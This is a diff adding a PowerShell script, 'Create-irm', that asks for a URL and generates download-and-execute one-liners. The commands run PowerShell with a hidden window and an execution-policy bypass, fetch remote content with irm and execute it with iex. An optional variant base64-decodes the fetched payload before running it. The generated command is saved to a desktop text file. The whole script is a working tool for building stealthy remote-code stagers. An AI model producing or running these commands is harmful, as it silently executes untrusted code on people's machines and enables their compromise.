|
| 1 | +function Create-irm { |
| 2 | + # Prompt user for choice |
| 3 | + $choice = Read-Host "Do you want to do Basic or BASE64 + M.E.? (Enter 'Basic' or 'BASE64')" |
| 4 | + |
| 5 | + if ($choice -eq 'Basic' -or $choice -eq 'BASE64') { |
| 6 | + |
| 7 | + # Ask for script name |
| 8 | + $scriptName = Read-Host "Enter the script name (without extension)" |
| 9 | + |
| 10 | + # Ask for irm link |
| 11 | + $link = Read-Host "Enter the irm link" |
| 12 | + |
| 13 | + # Remove "https://" from the link |
| 14 | + $link = $link -replace '^https://', '' |
| 15 | + |
| 16 | + # Check if $scriptName is blank, and construct the command accordingly |
| 17 | + if ([string]::IsNullOrWhiteSpace($scriptName)) { |
| 18 | + $scriptName = "IRM_Command" |
| 19 | + } |
| 20 | + |
| 21 | + if ($choice -eq 'Basic') { |
| 22 | + # Ask for function name for iex (allow blank input) |
| 23 | + $functionName = Read-Host "Enter the function name for iex (leave blank if none)" |
| 24 | + |
| 25 | + # Check if $functionName is blank, and construct the command accordingly |
| 26 | + if ([string]::IsNullOrWhiteSpace($functionName)) { |
| 27 | + $command = "powershell -w h -NoP -Ep Bypass irm $link|iex" |
| 28 | + } else { |
| 29 | + $command = "powershell -w h -NoP -Ep Bypass irm $link|iex;$functionName" |
| 30 | + } |
| 31 | + } elseif ($choice -eq 'BASE64') { |
| 32 | + # Form the command |
| 33 | + $command = @" |
| 34 | +powershell -NoP -W H -Ep Bypass iex([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((irm $link)))) |
| 35 | +"@ |
| 36 | + } |
| 37 | + |
| 38 | + # Display the command to the user |
| 39 | + Write-Host "Generated Command:" -ForegroundColor Cyan |
| 40 | + Write-Host $command -ForegroundColor Green |
| 41 | + |
| 42 | + # Save the command to a .txt file on the desktop |
| 43 | + $desktopPath = [System.Environment]::GetFolderPath('Desktop') |
| 44 | + $txtFilePath = Join-Path -Path $desktopPath -ChildPath "$scriptName.txt" |
| 45 | + $command | Out-File -FilePath $txtFilePath -Encoding UTF8 |
| 46 | + |
| 47 | + Write-Host "Command saved to $txtFilePath" -ForegroundColor Yellow |
| 48 | + } else { |
| 49 | + Write-Host "Invalid choice. Exiting..." -ForegroundColor Red |
| 50 | + return |
| 51 | + } |
| 52 | +} |
| 53 | + |
| 54 | +# Call the function |
| 55 | +#Create-irm |
0 commit comments